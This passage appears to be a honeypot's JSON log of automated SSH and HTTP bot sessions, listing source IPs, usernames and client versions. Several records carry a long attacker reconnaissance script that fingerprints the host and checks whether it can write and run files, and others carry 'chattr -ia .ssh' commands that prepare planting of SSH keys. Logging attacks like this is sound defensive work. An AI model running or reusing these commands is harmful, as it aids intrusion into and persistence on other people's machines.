  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 44238,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:01:03.010092+00:00",
  "ended_at": "2026-08-27T05:01:03.344489+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "687312d7-5371-4627-b413-0afbdc9bee06",
  "name": "northern-solar-crane",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 37344,
  "username": "scraper",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 312,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:59:33.799633+00:00",
  "ended_at": "2026-08-27T04:59:35.939965+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2254
 },
 {
  "id": "da37c4b3-1f84-4ab2-9d5e-75b38acaf40c",
  "name": "oaken-hearty-weasel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 37366,
  "username": "scraper",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:59:14.293811+00:00",
  "ended_at": "2026-08-27T04:59:15.313197+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "74fcc468-46da-4e3a-bfee-b3373c8e3e98",
  "name": "steady-jolly-owl",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 37358,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:59:12.652319+00:00",
  "ended_at": "2026-08-27T04:59:13.674998+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "921d4b83-ec94-478f-bd97-e733a6dfc27c",
  "name": "tender-pleasant-saola",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 41324,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:59:12.021336+00:00",
  "ended_at": "2026-08-27T04:59:12.210763+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "5999fa13-a2cc-48f6-8fde-c351a7a04d8d",
  "name": "rapid-thrifty-pipit",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "13.230.236.176",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:59:05.652216+00:00",
  "ended_at": "2026-08-27T05:14:07.950198+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3b07a592-d3ea-450f-8f3a-e5f01f7e7dc4",
  "name": "austere-velvet-avocet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.57.121.112",
  "src_port": 52082,
  "username": "myesha",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:58:59.890237+00:00",
  "ended_at": "2026-08-27T04:59:00.382732+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2aae63e5-fd36-4043-b329-3e4e651cee62",
  "name": "prickly-stoic-condor",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 63348,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:57:49.023325+00:00",
  "ended_at": "2026-08-27T04:57:49.892649+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "78e0ea51-bf3d-4140-aef5-b3a337317951",
  "name": "bashful-flinty-teal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 54336,
  "username": "stack",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 318,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:57:35.146509+00:00",
  "ended_at": "2026-08-27T04:57:36.073516+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2252
 },
 {
  "id": "be0614c2-54d7-42f3-a03f-ab3325fdc917",
  "name": "sturdy-ginger-sparrow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 54348,
  "username": "stack",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:57:19.909112+00:00",
  "ended_at": "2026-08-27T04:57:21.627005+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "64d4a328-933d-4e21-b014-8bd82876d455",
  "name": "feral-spirited-cheetah",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 38408,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:57:19.136527+00:00",
  "ended_at": "2026-08-27T04:57:19.419073+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "92df2fdb-239a-4c77-9883-7ce1fbef2844",
  "name": "twilight-indigo-salmon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 54338,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:57:18.190938+00:00",
  "ended_at": "2026-08-27T04:57:19.292114+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "971a3b3e-d54d-467a-ac5b-7c6cfedfcf79",
  "name": "ivory-sturdy-bushbaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 52080,
  "username": "mehdi",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 321,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:55:40.603586+00:00",
  "ended_at": "2026-08-27T04:55:41.994966+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2248
 },
 {
  "id": "fecefdd4-d635-4d80-bf04-6c0d698725cb",
  "name": "cunning-quaint-bonobo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 52094,
  "username": "mehdi",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:55:24.111455+00:00",
  "ended_at": "2026-08-27T04:55:25.741019+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6a478052-296d-4e59-96e2-cb9dd5d90319",
  "name": "hazel-pristine-linnet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 52092,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:55:22.859251+00:00",
  "ended_at": "2026-08-27T04:55:23.456680+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8cdfc0bc-3b39-45fc-9e1c-edcbd6edc969",
  "name": "arctic-idle-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 35486,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:55:22.504364+00:00",
  "ended_at": "2026-08-27T04:55:22.755255+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "00e8fe24-a3a7-44c9-8839-756190731de3",
  "name": "placid-fleeting-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "59.36.78.66",
  "src_port": 59676,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:55:15.326276+00:00",
  "ended_at": "2026-08-27T04:59:15.840433+00:00",
  "ended_reason": "exec complete",
  "commands": 2,
  "transcript_bytes": 522
 },
 {
  "id": "0625676f-e8b6-45ee-8c12-575b162587e3",
  "name": "courtly-fringed-narwhal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 39868,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 335,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:53:40.033002+00:00",
  "ended_at": "2026-08-27T04:53:41.077618+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2255
 },
 {
  "id": "e83547c0-2414-4b73-80d7-06a92ebbc97c",
  "name": "whispering-mindful-meerkat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 39890,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:53:24.408503+00:00",
  "ended_at": "2026-08-27T04:53:26.175558+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fb38d34b-df5d-47f8-9fc9-085e285849bf",
  "name": "drifting-shaded-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 60764,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 